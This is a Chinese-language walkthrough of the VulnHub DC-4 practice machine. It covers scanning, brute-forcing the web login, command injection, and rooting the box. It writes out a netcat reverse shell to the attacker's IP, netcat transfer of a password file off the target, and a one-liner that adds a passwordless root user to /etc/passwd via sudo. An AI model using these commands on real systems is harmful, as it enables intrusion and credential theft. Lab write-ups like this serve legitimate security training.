靶场地址:DC: 4 ~ VulnHub
DC-4是一个初中级的靶场,需要具备以下前置知识:
基础的Linux命令及操作基础的渗透测试工具使用(Kali / Parrot下的工具)
这次练习的靶机是vulnhub平台下的DC系列靶机第四台,该靶机的难度系数为简单,拿下该靶机的关键就是需要收集信息,最终目的是获取root权限,拿到flag。
步骤: 信息收集nmap 192.168.132.0/24 目标靶机ip:192.168.132.150 全面扫描 nmap -A -sV -p- -T4 192.168.132.150 22、80端口且开通ssh、HTTP服务
直接打开网站,寻找信息
dirsearch扫描网站隐藏目录
dirsearch -u 192.168.132.150
有一个名为command.php的页面,访问网站必须登陆。
该网站也不是根据cms搭建起来的,所以无法从searchsploit寻找方法。
所以通过bp爆破
用户名:admin(基本上的都是admin但是不知道为什么我的用户名是Admin) 密码:happy
登入后台看到一个链接,点开网页是一个命令执行页面
通过bp抓取数据包并修改命令,发现修改后的命令可以执行
建立shell,ssh爆破
nc -e /bin/bash 192.168.132.139 4443
shell建立成功升级为交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
cd /home
发现三个账号的家:charles,jim,sam
通过排查,在jim的家发现一个历史密码
通过nc监听把old-passwords.bak下载下来,然后使用ssh暴力破解 nc -kvnp 4445 > pass.txt 然后通过靶机中用nc将历史密码传入本地主机 nc 192.168.132.139 4445 < old-passwords.bakteehee提权
到目录/var/mail寻找信息
发现一份邮件,且包含密码
尝试提权jim失败,说明密码不是jim的
切换用户charles,寻找提权点
发现teehee不需要执行命令就可以执行root权限
查看teehee的帮助信息,得到teehee的参数a可以在文件后面加入内容
想到在/etc/passwd文件加入具有root权限的自定义用户名并且不设置密码
/etx/passwd文件下的用户格式为:
用户名:密码占位符:用户id:组id:备注信息:家目录:命令执行环境
echo 'admin::0:0::/home/admin:/bin/bash' |sudo teehee -a /etc/passwd
切换用户即可提权成功
方法二提权(Tuzk1):
参考链接:
Vulnhub靶机系列: DC-4 | Tuzk1
Vulnhub_DC4 记录 - 掉到鱼缸里的猫 - 博客园



